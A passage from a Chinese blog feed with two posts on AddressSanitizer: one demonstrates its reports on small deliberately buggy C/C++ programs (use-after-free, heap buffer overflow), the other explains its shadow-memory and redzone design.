use-after-free</span><br></pre></td></tr></table></figure><ul><li>用-fsanitize=address选项编译和链接你的程序。</li><li>用-fno-omit-frame-pointer编译,以得到更容易理解stack trace。</li><li>可选择-O1或者更高的优化级别编译</li></ul><p>运行use-after-fee。如果发现了错误,就会打印出类似下面的信息:</p><figure class="highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">==<span class="number">9901</span>==ERROR: AddressSanitizer: heap-use-after-free <span class="keyword">on</span> address <span class="number">0x60700000dfb5</span> </span><br><span class="line"> at pc <span class="number">0x45917b</span> bp <span class="number">0x7fff4490c700</span> sp <span class="number">0x7fff4490c6f8</span></span><br><span class="line">READ of size <span class="number">1</span> at <span class="number">0x60700000dfb5</span> thread T0</span><br><span class="line"> <span class="meta">#0 0x45917a in main use-after-free.c:5</span></span><br><span class="line"> <span class="meta">#1 0x7fce9f25e76c in __libc_start_main /build/buildd/eglibc-2.15/csu/libc-start.c:226</span></span><br><span class="line"> <span class="meta">#2 0x459074 in _start (a.out+0x459074)</span></span><br><span class="line"><span class="number">0x60700000dfb5</span> <span class="keyword">is</span> located <span class="number">5</span> bytes inside of <span class="number">80</span>-<span class="built_in">byte</span> region [<span class="number">0x60700000dfb0</span>,<span class="number">0x60700000e000</span>)</span><br><span class="line">freed <span class="keyword">by</span> thread T0 here:</span><br><span class="line"> <span class="meta">#0 0x4441ee in __interceptor_free projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64</span></span><br><span class="line"> <span class="meta">#1 0x45914a in main use-after-free.c:4</span></span><br><span class="line"> <span class="meta">#2 0x7fce9f25e76c in __libc_start_main /build/buildd/eglibc-2.15/csu/libc-start.c:226</span></span><br><span class="line">previously allocated <span class="keyword">by</span> thread T0 here:</span><br><span class="line"> <span class="meta">#0 0x44436e in __interceptor_malloc projects/compiler-rt/lib/asan/asan_malloc_linux.cc:74</span></span><br><span class="line"> <span class="meta">#1 0x45913f in main use-after-free.c:3</span></span><br><span class="line"> <span class="meta">#2 0x7fce9f25e76c in __libc_start_main /build/buildd/eglibc-2.15/csu/libc-start.c:226</span></span><br><span class="line">SUMMARY: AddressSanitizer: heap-use-after-free use-after-free.c:<span class="number">5</span> main</span><br></pre></td></tr></table></figure><ul><li>第一部分(ERROR)指出错误类型是heap-use-after-free;</li><li>第二部分(READ), 指出线程名thread T0,操作为READ,发生的位置是use-after-free.c:5。<ul><li>该heapk块之前已经在use-after-free.c:4被释放了;</li><li>该heap块是在use-fater-free.c:3分配</li></ul></li><li>第三部分 (SUMMARY) 前面输出的概要说明。</li></ul><h3 id="heap-use-after-free-释放后使用"><a href="#heap-use-after-free-释放后使用" class="headerlink" title="(heap) use after free 释放后使用"></a>(heap) use after free 释放后使用</h3><p>下面的代码中,分配array数组并释放,然后返回它的一个元素。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span> <span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span>** argv)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span>* array = <span class="keyword">new</span> <span class="keyword">int</span>[<span class="number">100</span>];</span><br><span class="line"> <span class="keyword">delete</span> []array;</span><br><span class="line"> <span class="keyword">return</span> array[<span class="number">1</span>];</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>结果如下:</p><p><img src="/2022/05/09/%E5%BA%94%E7%94%A8AddressSanitizer%E5%8F%91%E7%8E%B0%E7%A8%8B%E5%BA%8F%E5%86%85%E5%AD%98%E9%94%99%E8%AF%AF/uTools_1652011917225.png" alt="uTools_1652011917225"></p><figure class="highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line">=================================================================</span><br><span class="line">==<span class="number">7045</span>==ERROR: AddressSanitizer: heap-use-after-free <span class="keyword">on</span> address <span class="number">0x61400000fe44</span> at pc <span class="number">0x0000004007d1</span> bp <span class="number">0x7fff93403860</span> sp <span class="number">0x7fff93403850</span></span><br><span class="line">READ of size <span class="number">4</span> at <span class="number">0x61400000fe44</span> thread T0</span><br><span class="line"> <span class="meta">#0 0x4007d0 in main /home/lyq/Desktop/addresssanitizer_use/use_after_free.cpp:5</span></span><br><span class="line"> <span class="meta">#1 0x7f9a1281883f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)</span></span><br><span class="line"> <span class="meta">#2 0x4006b8 in _start (/home/lyq/Desktop/addresssanitizer_use/use-after-free+0x4006b8)</span></span><br><span class="line"></span><br><span class="line"><span class="number">0x61400000fe44</span> <span class="keyword">is</span> located <span class="number">4</span> bytes inside of <span class="number">400</span>-<span class="built_in">byte</span> region [<span class="number">0x61400000fe40</span>,<span class="number">0x61400000ffd0</span>)</span><br><span class="line">freed <span class="keyword">by</span> thread T0 here:</span><br><span class="line"> <span class="meta">#0 0x7f9a12c5bcaa in operator delete[](void*) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99caa)</span></span><br><span class="line"> <span class="meta">#1 0x4007a8 in main /home/lyq/Desktop/addresssanitizer_use/use_after_free.cpp:4</span></span><br><span class="line"> <span class="meta">#2 0x7f9a1281883f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)</span></span><br><span class="line"></span><br><span class="line">previously allocated <span class="keyword">by</span> thread T0 here:</span><br><span class="line"> <span class="meta">#0 0x7f9a12c5b6b2 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x996b2)</span></span><br><span class="line"> <span class="meta">#1 0x400798 in main /home/lyq/Desktop/addresssanitizer_use/use_after_free.cpp:3</span></span><br><span class="line"> <span class="meta">#2 0x7f9a1281883f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)</span></span><br><span class="line"></span><br><span class="line">SUMMARY: AddressSanitizer: heap-use-after-free /home/lyq/Desktop/addresssanitizer_use/use_after_free.cpp:<span class="number">5</span> main</span><br><span class="line">Shadow bytes around the buggy address:</span><br><span class="line"> <span class="number">0x0c287fff9f70</span>: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span><br><span class="line"> <span class="number">0x0c287fff9f80</span>: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span><br><span class="line"> <span class="number">0x0c287fff9f90</span>: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span><br><span class="line"> <span class="number">0x0c287fff9fa0</span>: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span><br><span class="line"> <span class="number">0x0c287fff9fb0</span>: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span><br><span class="line">=><span class="number">0x0c287fff9fc0</span>: fa fa fa fa fa fa fa fa[fd]fd fd fd fd fd fd fd</span><br><span class="line"> <span class="number">0x0c287fff9fd0</span>: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd</span><br><span class="line"> <span class="number">0x0c287fff9fe0</span>: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd</span><br><span class="line"> <span class="number">0x0c287fff9ff0</span>: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa</span><br><span class="line"> <span class="number">0x0c287fffa000</span>: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span><br><span class="line"> <span class="number">0x0c287fffa010</span>: <span class="function">fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span></span><br><span class="line"><span class="function">Shadow <span class="built_in">byte</span> <span class="title">legend</span> (<span class="params">one shadow <span class="built_in">byte</span> represents <span class="number">8</span> application bytes</span>):</span></span><br><span class="line"><span class="function"> Addressable: 00</span></span><br><span class="line"><span class="function"> Partially addressable: 01 02 03 04 05 06 07</span></span><br><span class="line"><span class="function"> Heap left redzone: fa</span></span><br><span class="line"><span class="function"> Heap right redzone: fb</span></span><br><span class="line"><span class="function"> Freed heap region: fd</span></span><br><span class="line"><span class="function"> Stack left redzone: f1</span></span><br><span class="line"><span class="function"> Stack mid redzone: f2</span></span><br><span class="line"><span class="function"> Stack right redzone: f3</span></span><br><span class="line"><span class="function"> Stack <span class="keyword">partial</span> redzone: f4</span></span><br><span class="line"><span class="function"> Stack after <span class="keyword">return</span>: f5</span></span><br><span class="line"><span class="function"> Stack use after scope: f8</span></span><br><span class="line"><span class="function"> Global redzone: f9</span></span><br><span class="line"><span class="function"> Global <span class="keyword">init</span> order: f6</span></span><br><span class="line"><span class="function"> Poisoned <span class="keyword">by</span> user: f7</span></span><br><span class="line"><span class="function"> Container overflow: fc</span></span><br><span class="line"><span class="function"> Array cookie: ac</span></span><br><span class="line"><span class="function"> Intra <span class="built_in">object</span> redzone: bb</span></span><br><span class="line"><span class="function"> ASan <span class="keyword">internal</span>: fe</span></span><br><span class="line">==<span class="number">7045</span>==ABORTING</span><br></pre></td></tr></table></figure><h3 id="heap-buffer-overflow-堆缓存访问溢出"><a href="#heap-buffer-overflow-堆缓存访问溢出" class="headerlink" title="heap buffer overflow 堆缓存访问溢出"></a>heap buffer overflow 堆缓存访问溢出</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span> <span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span>** argv)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span>* <span class="built_in">array</span> = <span class="keyword">new</span> <span class="keyword">int</span>[<span class="number">100</span>];</span><br><span class="line"> <span class="keyword">int</span> res = <span class="built_in">array</span>[<span class="number">100</span>];</span><br><span class="line"> <span class="keyword">delete</span> [] <span class="built_in">array</span>;</span><br><span class="line"> <span class="keyword">return</span> res;</span><br><span class="line">} </span><br></pre></td></tr></table></figure><p>结果如下:</p><p><img src="/2022/05/09/%E5%BA%94%E7%94%A8AddressSanitizer%E5%8F%91%E7%8E%B0%E7%A8%8B%E5%BA%8F%E5%86%85%E5%AD%98%E9%94%99%E8%AF%AF/uTools_1652012445122.png" alt="uTools_1652012445122"></p><figure class="highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line">buffer-overflow</span><br><span class="line">heap-buffer-overflow.c: In function ‘main’:</span><br><span class="line">heap-buffer-overflow.c:<span class="number">3</span>:<span class="number">18</span>: error: ‘<span class="keyword">new</span>’ undeclared (first use <span class="keyword">in</span> <span class="keyword">this</span> function)</span><br><span class="line"> <span class="built_in">int</span>* array = <span class="keyword">new</span> <span class="built_in">int</span>[<span class="number">100</span>];</span><br><span class="line"> ^</span><br><span class="line">heap-buffer-overflow.c:<span class="number">3</span>:<span class="number">18</span>: note: each undeclared identifier <span class="keyword">is</span> reported only once <span class="keyword">for</span> each function it appears</span><br><span class="line">heap-buffer-overflow.c:<span class="number">3</span>:<span class="number">22</span>: error: expected ‘,’ <span class="keyword">or</span> ‘;’ before ‘<span class="built_in">int</span>’</span><br><span class="line"> <span class="built_in">int</span>* array = <span class="keyword">new</span> <span class="built_in">int</span>[<span class="number">100</span>];</span><br><span class="line"> ^</span><br><span class="line">heap-buffer-overflow.c:<span class="number">5</span>:<span class="number">5</span>: error: ‘delete’ undeclared (first use <span class="keyword">in</span> <span class="keyword">this</span> function)</span><br><span class="line"> delete [] array;</span><br><span class="line"> ^</span><br><span class="line">heap-buffer-overflow.c:<span class="number">5</span>:<span class="number">13</span>: error: expected expression before ‘]’ token</span><br><span class="line"> delete [] array;</span><br><span class="line"> ^</span><br><span class="line">lyq@lyq-<span class="keyword">virtual</span>-machine:~/Desktop/addresssanitizer_use$ g++ -fsanitize=address -fno-omit-frame-pointer -O1 -g hebuffer-overflow</span><br><span class="line">lyq@lyq-<span class="keyword">virtual</span>-machine:~/Desktop/addresssanitizer_use$ ./heap-buffer-overflow</span><br><span class="line">=================================================================</span><br><span class="line">==<span class="number">7125</span>==ERROR: AddressSanitizer: heap-buffer-overflow <span class="keyword">on</span> address <span class="number">0x61400000ffd0</span> at pc <span class="number">0x0000004007c4</span> bp <span class="number">0x7ffd0b</span></span><br><span class="line">READ of size <span class="number">4</span> at <span class="number">0x61400000ffd0</span> thread T0</span><br><span class="line"> <span class="meta">#0 0x4007c3 in main /home/lyq/Desktop/addresssanitizer_use/heap-buffer-overflow.c:4</span></span><br><span class="line"> <span class="meta">#1 0x7f3fb6a5983f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)</span></span><br><span class="line"> <span class="meta">#2 0x4006b8 in _start (/home/lyq/Desktop/addresssanitizer_use/heap-buffer-overflow+0x4006b8)</span></span><br><span class="line"></span><br><span class="line"><span class="number">0x61400000ffd0</span> <span class="keyword">is</span> located <span class="number">0</span> bytes to the right of <span class="number">400</span>-<span class="built_in">byte</span> region [<span class="number">0x61400000fe40</span>,<span class="number">0x61400000ffd0</span>)</span><br><span class="line">allocated <span class="keyword">by</span> thread T0 here:</span><br><span class="line"> <span class="meta">#0 0x7f3fb6e9c6b2 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x996b2)</span></span><br><span class="line"> <span class="meta">#1 0x400798 in main /home/lyq/Desktop/addresssanitizer_use/heap-buffer-overflow.c:3</span></span><br><span class="line"> <span class="meta">#2 0x7f3fb6a5983f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)</span></span><br><span class="line"></span><br><span class="line">SUMMARY: AddressSanitizer: heap-buffer-overflow /home/lyq/Desktop/addresssanitizer_use/heap-buffer-overflow.c:<span class="number">4</span></span><br><span class="line">Shadow bytes around the buggy address:</span><br><span class="line"> <span class="number">0x0c287fff9fa0</span>: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span><br><span class="line"> <span class="number">0x0c287fff9fb0</span>: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span><br><span class="line"> <span class="number">0x0c287fff9fc0</span>: fa fa fa fa fa fa fa fa <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span></span><br><span class="line"> <span class="number">0x0c287fff9fd0</span>: <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span></span><br><span class="line"> <span class="number">0x0c287fff9fe0</span>: <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span></span><br><span class="line">=><span class="number">0x0c287fff9ff0</span>: <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span>[fa]fa fa fa fa fa</span><br><span class="line"> <span class="number">0x0c287fffa000</span>: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span><br><span class="line"> <span class="number">0x0c287fffa010</span>: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span><br><span class="line"> <span class="number">0x0c287fffa020</span>: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span><br><span class="line"> <span class="number">0x0c287fffa030</span>: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span><br><span class="line"> <span class="number">0x0c287fffa040</span>: <span class="function">fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span></span><br><span class="line"><span class="function">Shadow <span class="built_in">byte</span> <span class="title">legend</span> (<span class="params">one shadow <span class="built_in">byte</span> represents <span class="number">8</span> application bytes</span>):</span></span><br><span class="line"><span class="function"> Addressable: 00</span></span><br><span class="line"><span class="function"> Partially addressable: 01 02 03 04 05 06 07</span></span><br><span class="line"><span class="function"> Heap left redzone: fa</span></span><br><span class="line"><span class="function"> Heap right redzone: fb</span></span><br><span class="line"><span class="function"> Freed heap region: fd</span></span><br><span class="line"><span class="function"> Stack left redzone: f1</span></span><br><span class="line"><span class="function"> Stack mid redzone: f2</span></span><br><span class="line"><span class="function"> Stack right redzone: f3</span></span><br><span class="line"><span class="function"> Stack <span class="keyword">partial</span> redzone: f4</span></span><br><span class="line"><span class="function"> Stack after <span class="keyword">return</span>: f5</span></span><br><span class="line"><span class="function"> Stack use after scope: f8</span></span><br><span class="line"><span class="function"> Global redzone: f9</span></span><br><span class="line"><span class="function"> Global <span class="keyword">init</span> order: f6</span></span><br><span class="line"><span class="function"> Poisoned <span class="keyword">by</span> user: f7</span></span><br><span class="line"><span class="function"> Container overflow: fc</span></span><br><span class="line"><span class="function"> Array cookie: ac</span></span><br><span class="line"><span class="function"> Intra <span class="built_in">object</span> redzone: bb</span></span><br><span class="line"><span class="function"> ASan <span class="keyword">internal</span>: fe</span></span><br><span class="line">==<span class="number">7125</span>==ABORTING</span><br></pre></td></tr></table></figure><blockquote id="fn_引用主要内容"><sup>引用主要内容</sup>. <a href="https://www.jianshu.com/p/3a2df9b7c353">https://www.jianshu.com/p/3a2df9b7c353</a><a href="#reffn_引用主要内容" title="Jump back to footnote [引用主要内容] in the text."> ↩</a></blockquote>]]></content>
<summary type="html"><h2 id="应用-AddressSanitizer-发现程序内存错误"><a href="#应用-AddressSanitizer-发现程序内存错误" class="headerlink" title="应用 AddressSanitizer 发现程序内存错误"></a>应用 AddressSanitizer 发现程序内存错误</h2></summary>
<category term="C++" scheme="http://example.com/tags/C/"/>
<category term="C" scheme="http://example.com/tags/C/"/>
<category term="AddressSanitizer" scheme="http://example.com/tags/AddressSanitizer/"/>
<category term="漏洞检测" scheme="http://example.com/tags/%E6%BC%8F%E6%B4%9E%E6%A3%80%E6%B5%8B/"/>
</entry>
<entry>
<title>AddressSanitizer 原理</title>
<link href="http://example.com/2022/05/09/AddressSanitizer/"/>
<id>http://example.com/2022/05/09/AddressSanitizer/</id>
<published>2022-05-08T17:23:27.000Z</published>
<updated>2022-05-08T17:28:18.628Z</updated>
<content type="html"><![CDATA[<h2 id="AddressSanitizer-原理"><a href="#AddressSanitizer-原理" class="headerlink" title="AddressSanitizer 原理"></a>AddressSanitizer 原理</h2><p>AddressSanitizer(ASan)是一个快速的内存错误检测工具。它非常快,只拖慢程序两倍左右。它包括一个编译器instrumentation模块和一个提供malloc()/free()替代项的运行时库。从gcc 4.8开始,AddressSanitizer成为gcc的一部分。</p><span id="more"></span><h3 id="AddressSanitizer原理简介"><a href="#AddressSanitizer原理简介" class="headerlink" title="AddressSanitizer原理简介"></a>AddressSanitizer原理简介</h3><p>两部分:插桩(Instrumentation)和动态运行库(Run-time library)。</p><ul><li><p>插桩主要是针对在llvm编译器级别对访问内存的操作(store,load,alloca等),将它们进行处理。</p></li><li><p>动态运行库主要提供一些运行时的复杂的功能(比如poison/unpoison shadow memory)以及将malloc,free等系统调用函数hook住。该算法的思路是:如果想防住Buffer Overflow漏洞,只需要在每块内存区域右端(或两端,能防overflow和underflow)加一块区域(RedZone),使RedZone的区域的影子内存(Shadow Memory)设置为不可写即可。具体的示意图如下图所示。</p></li></ul><p><img src="/2022/05/09/AddressSanitizer/a58.jpg" alt="img"></p><h4 id="内存映射"><a href="#内存映射" class="headerlink" title="内存映射"></a>内存映射</h4><p>AddressSanitizer保护的主要原理是对程序中的虚拟内存提供粗粒度的影子内存(每8个字节的内存对应一个字节的影子内存),为了减少overhead,采用了直接内存映射策略,所采用的具体策略如下:$Shadow=(Mem >> 3) + offset$,即每8个字节(Mem除以了8)的内存对应一个字节的影子内存,影子内存中每个字节存取一个数字k,如果k=0,则表示该影子内存对应的8个字节的内存都能访问,如果0<k<7,表示前k个字节可以访问,如果k为负数,不同的数字表示不同的错误(e.g. Stack buffer overflow, Heap buffer overflow)。</p><h4 id="插桩"><a href="#插桩" class="headerlink" title="插桩"></a>插桩</h4><p>为了防止buffer overflow,需要将原来分配的内存两边分配额外的内存Redzone,并将这两边的内存加锁,设为不能访问状态,这样可以有效的防止buffer overflow(但不能杜绝buffer overflow)。以下是在栈中插桩的一个例子。</p><p>影子和主应用程序内存之间存在对应关系。 <strong>在主内存中毒化</strong>一个字节意味着将一些特殊值写入相应的影子内存。</p><h4 id="Shadow-Memory"><a href="#Shadow-Memory" class="headerlink" title="Shadow Memory"></a><strong>Shadow Memory</strong></h4><p>由malloc函数返回的内存地址通常至少对齐到8个字节。这导致观察到,任何对齐的8个应用程序堆内存的8字节序列都处于9种不同状态之一:前k(0≤k≤8)字节是可寻址的,其余8-k个字节是不可寻址的。这个状态可以被编码到一个字节的影子内存中。</p><p>AddressSanitizer将八分之一的虚拟地址空间用于其影子内存,并使用带有比例和偏移量的直接映射来将应用程序地址转换为相应的影子地址。给定应用程序内存地址Addr,阴影字节的地址被计算为(Addr>>3)+Offset。如果Max-1是虚拟地址空间中的最大有效地址,则应用某种方式选择“Offset”的值,使启动时从Offset到Offset+Max/8的区域不被占用。</p><p>对每个阴影字节使用以下编码:0表示对应的应用程序内存区域的所有8个字节都是可寻址的;k(1≤k≤7)表示前k个字节是可寻址的;任何负值都表示整个8字节的单词是不可寻址的。使用不同的负值来区分不同类型的不可寻址内存(heap redzones, stack redzones, global redzones, freed memory)。</p><p><img src="/2022/05/09/AddressSanitizer/uTools_1652006880066.png" alt="uTools_1652006880066"></p><p>地址空间的实际布局如下:可以看到一个application的memory分为高低两部分,分别映射到两个shadow region中的地址,而shadow|bad|shadow部分的地址又被映射到bad region部分的地址,而这部分shadow|bad|shadow当然会被page protection机制标记为“不可访问”。</p><h4 id="Instrumentation"><a href="#Instrumentation" class="headerlink" title="Instrumentation"></a><strong>Instrumentation</strong></h4><p>当检测一个8字节的内存访问时,AddressSanitizer计算相应的阴影字节的地址,加载该字节,并检查它是否为零:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ShadowAddr = (Addr >> <span class="number">3</span>) + Offset;</span><br><span class="line"><span class="keyword">if</span> (*ShadowAddr != <span class="number">0</span>)</span><br><span class="line">ReportAndCrash(Addr);</span><br></pre></td></tr></table></figure><p>当检测1、2或4字节访问时,检测稍微复杂一些:如果阴影值为正(即,只有8字节字中的前k字节是可寻址的),我们需要将地址的最后3位与k进行比较。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">ShadowAddr = (Addr >> <span class="number">3</span>) + Offset;</span><br><span class="line">k = *ShadowAddr;</span><br><span class="line"><span class="keyword">if</span> (k != <span class="number">0</span> && ((Addr & <span class="number">7</span>) + AccessSize > k))</span><br><span class="line"><span class="built_in">ReportAndCrash</span>(Addr);</span><br></pre></td></tr></table></figure><p>作者将AddressSanitizer仪器通道放置在LLVM optimization pipeline的最末端。通过这种方式,我们只检测那些经过由LLVM优化器执行的所有标量和循环优化的内存访问。例如,对由LLVM优化后的本地stack对象的内存访问将不会被检测。同时,我们不需要检测由LLVM代码生成器生成的内存访问(例如,寄存器泄漏)。</p><h4 id="Run-time-Library"><a href="#Run-time-Library" class="headerlink" title="Run-time Library"></a><strong>Run-time Library</strong></h4><p>Run-time Library主要目的是管理影子内存。在应用程序启动时,整个阴影区域被映射,以便程序的其他部分不能使用它。影子内存的坏段受到保护。在Linux上,阴影区域在启动时总是未被占用的,因此内存映射总是成功的。在MacOS上,我们需要禁用地址空间布局随机化(ASLR)。</p><p>malloc和free函数被一个特定的实现所取代。malloc函数在返回的区域周围分配额外的内存,即redzone。redzone被标记为<strong>不可寻址</strong>,或<strong>poisoned</strong>。redzone越大,将检测到的溢出或下溢就越大。</p><p>分配器内部的内存区域被组织为一系列对应于相应对象大小的freelists数组。当与所请求的对象大小相对应的freelist为空时,将从操作系统分配一大组具有redzones的内存区域(例如,使用mmap)。对于这n个区域,我们分配了n个+1个redzone,这样一个区域的右redzone通常是另一个区域的左redzone:</p><p><img src="/2022/05/09/AddressSanitizer/uTools_1651989469165.png" alt="uTools_1651989469165"></p><p>左redzone被用作存储allocator的内部数据(如allocation size,thread ID等)因此,heap read zone最小32字节。这个left redzone中的内部数据不会被buffer underflow所损坏,因为这个underflow在真正store(改变memory)前会被立即检测到。(利用这个检测工具检测,当然这个underflow要发生在被检测的代码中)</p><p>free函数poison整个memory区域并将其隔离,这样这个region不会被malloc再次分配,隔离是FIFO队列,有固定大小的memory。</p><p>默认情况下,malloc和free记录当前调用堆栈,以便提供更多信息的bug报告。malloc调用堆栈存储在左边的redzone(redzone越大,可以存储的帧数就越大),而free调用堆栈存储在存储区域本身的开始部分。</p><h4 id="Stack-And-Globals"><a href="#Stack-And-Globals" class="headerlink" title="Stack And Globals"></a><strong>Stack And Globals</strong></h4><p>为了检测对全局对象和堆栈对象的越界访问,地址消毒器必须在这些对象周围创建poisoned的redzone。</p><p>对于全局区域,redzone是在编译时创建的,而redzone的地址是在应用程序启动时传递给Run-time Library的。Run-time Library函数会将redzones给poison了,并记录地址以进行进一步的错误报告。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">foo</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">char</span> a[<span class="number">10</span>];</span><br><span class="line"> <function body> }</span><br></pre></td></tr></table></figure><p>转换后的代码类似:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">foo</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">char</span> rz1[<span class="number">32</span>]</span><br><span class="line"> <span class="keyword">char</span> arr[<span class="number">10</span>];</span><br><span class="line"> <span class="keyword">char</span> rz2[<span class="number">32</span><span class="number">-10</span>+<span class="number">32</span>];</span><br><span class="line"> <span class="keyword">unsigned</span> *shadow =</span><br><span class="line"> (<span class="keyword">unsigned</span>*)(((<span class="keyword">long</span>)rz1>><span 